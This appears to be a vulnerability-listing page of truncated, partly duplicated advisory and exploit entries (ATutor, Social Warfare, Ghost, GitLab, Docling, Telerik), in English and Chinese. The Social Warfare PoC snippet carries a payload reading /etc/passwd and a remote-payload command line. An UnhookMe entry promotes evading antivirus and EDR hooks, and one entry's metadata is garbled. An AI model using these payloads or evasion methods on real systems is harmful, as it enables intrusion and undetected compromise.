ATutor-2.2.4-Language-Exploit

ATutor 2.2.4 任意文件上传 / RCE CVE-2019-12169 漏洞标题: ATutor 2.2.4 任意文件上传 / RCE CVE-2019-12169 日期: 5/24/19 漏洞作者: liquidsky JMcPeters 厂商主页: https://atutor.github.io/ 软件链接: https://sourceforge.net/projects/atutor/files/latest/download 版本: 2.2.4 测试环境: Windows 8 / Apache / MySQL XAMPP CVE : CVE-2019-12169 |...

CVE-2026-1403

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.7 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that when importing CSV files could have allowed an authenticated user to cause denial of service to Sidekiq workers due to improper validation of CSV file...

CVE-2019-9978

CVE-2019-9978 CVE-2019-9978 - PoC Social WarFare 插件中的RCE（版本system'cat /etc/passwd' 将其保存为文件名 payload.txt 并上传到服务器。URI应类似于 https://yoursite.com/payload.txt。最后，提供你的 --target 和 --payload-uri 选项： $ python cve-2019-9978.py --target http://vulntarget.com \ --payload-uri...

GHSA-FWH9-QG68-VXP4 Ghost: Regular Expression Denial of Service in Content Import

Impact A crafted content import file could cause excessive CPU usage, making the Ghost server unresponsive. Exploiting this requires Administrator access. Vulnerable versions This vulnerability is present in Ghost from v4.0.0 up to v6.65.0. Patches v6.67.0 contains a fix for this issue. How to...

Ghost: Regular Expression Denial of Service in Content Import

Impact A crafted content import file could cause excessive CPU usage, making the Ghost server unresponsive. Exploiting this requires Administrator access. Vulnerable versions This vulnerability is present in Ghost from v4.0.0 up to v6.65.0. Patches v6.67.0 contains a fix for this issue. How to...

EUVD-2026-92636

Ghost: Regular Expression Denial of Service in Content Import...

NPM: Ghost: Regular Expression Denial of Service in Content Import

NPM: Ghost: Regular Expression Denial of Service in Content Import vulnerability discovered by ? in WordPress Npm ghost versions = 4.0.0, 6.67.0...

Docling imports plugin entry points before the allow_external_plugins check

Summary allowexternalplugins=False the default, and the CLI default is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's loadsetuptoolsentrypoints, which imports every module registered under docling's plugin entry-point group. Only afterwards...

GHSA-9JXX-VJRV-H2RQ Docling imports plugin entry points before the allow_external_plugins check

Summary allowexternalplugins=False the default, and the CLI default is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's loadsetuptoolsentrypoints, which imports every module registered under docling's plugin entry-point group. Only afterwards...

EUVD-2026-94613

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.7 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that when importing CSV files could have allowed an authenticated user to cause denial of service to Sidekiq workers due to improper validation of CSV file...

CVE-2026-1403 Allocation of Resources Without Limits or Throttling in GitLab

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.7 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that when importing CSV files could have allowed an authenticated user to cause denial of service to Sidekiq workers due to improper validation of CSV file...

CVE-2026-1403 Allocation of Resources Without Limits or Throttling in GitLab

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 11.7 before 18.8.9, 18.9 before 18.9.5, and 18.10 before 18.10.3 that when importing CSV files could have allowed an authenticated user to cause denial of service to Sidekiq workers due to improper validation of CSV file...

Exploit for CVE-2026-105844

CVE-2026-105844 — Payload CMS import-export prototype pollutio...

UnhookMe

UnhookMe - 动态解除挂钩的导入解析器 在侵入性防病毒软件和EDR引入热补丁以增强其监控能力的时代，现代对手必须拥有强大的工具来绕过这些看守。这里提出的动态导入解析器实现，能够即时解除所用函数的挂钩，是加强对手韧性努力的又一步。 我在这里提出的解决方案是，从使用链接器解析的WinAPI导入（在编译后可执行文件的PE头中可见，特别是导入地址表）转向完全动态的方法，仅以动态方式解析导入。这种动态解析器可以配备在后台运行的解除挂钩逻辑，无需操作员任何指导。 最简单的使用示例 以下是如何确保以解除挂钩、不受监控的方式调用MessageBoxW： RESOLVEuser32,...

CVE-2026-106164

In Progress® Telerik® Document Processing SpreadProcessing library, versions prior to 2026.3.1006, an infinite loop vulnerability exists when importing an XLS file with a specifically-targted corruption, the import timeout is ignored resulting in an unresponsive CPU thread and denial of service...

EUVD-2026-94545

In Progress® Telerik® Document Processing SpreadProcessing library, versions prior to 2026.3.1006, an infinite loop vulnerability exists when importing an XLS file with a specifically-targted corruption, the import timeout is ignored resulting in an unresponsive CPU thread and denial of service...

CVE-2026-106164 Infinite Loop in Telerik Document Processing XLS Import

In Progress® Telerik® Document Processing SpreadProcessing library, versions prior to 2026.3.1006, an infinite loop vulnerability exists when importing an XLS file with a specifically-targted corruption, the import timeout is ignored resulting in an unresponsive CPU thread and denial of service...

CVE-2026-106164

Progress Telerik Document Processing SpreadProcessing library versions prior to 2026.3.1006 are vulnerable to an infinite loop during XLS file imports. When processing a specifically-targeted corrupted XLS file, the library ignores the import timeout, causing an unresponsive CPU thread and a deni...

CVE-2026-106164 Infinite Loop in Telerik Document Processing XLS Import

In Progress® Telerik® Document Processing SpreadProcessing library, versions prior to 2026.3.1006, an infinite loop vulnerability exists when importing an XLS file with a specifically-targted corruption, the import timeout is ignored resulting in an unresponsive CPU thread and denial of service...

netstat2neo4j

Netstat Visualization with Neo4j Description Graphs help to spot anomalies and patterns in large datasets. This script takes netstat information from multiple hosts and formats them in a way to make them importable into Neo4j. Neo4j can be queried for find connections to certain hosts, from certa...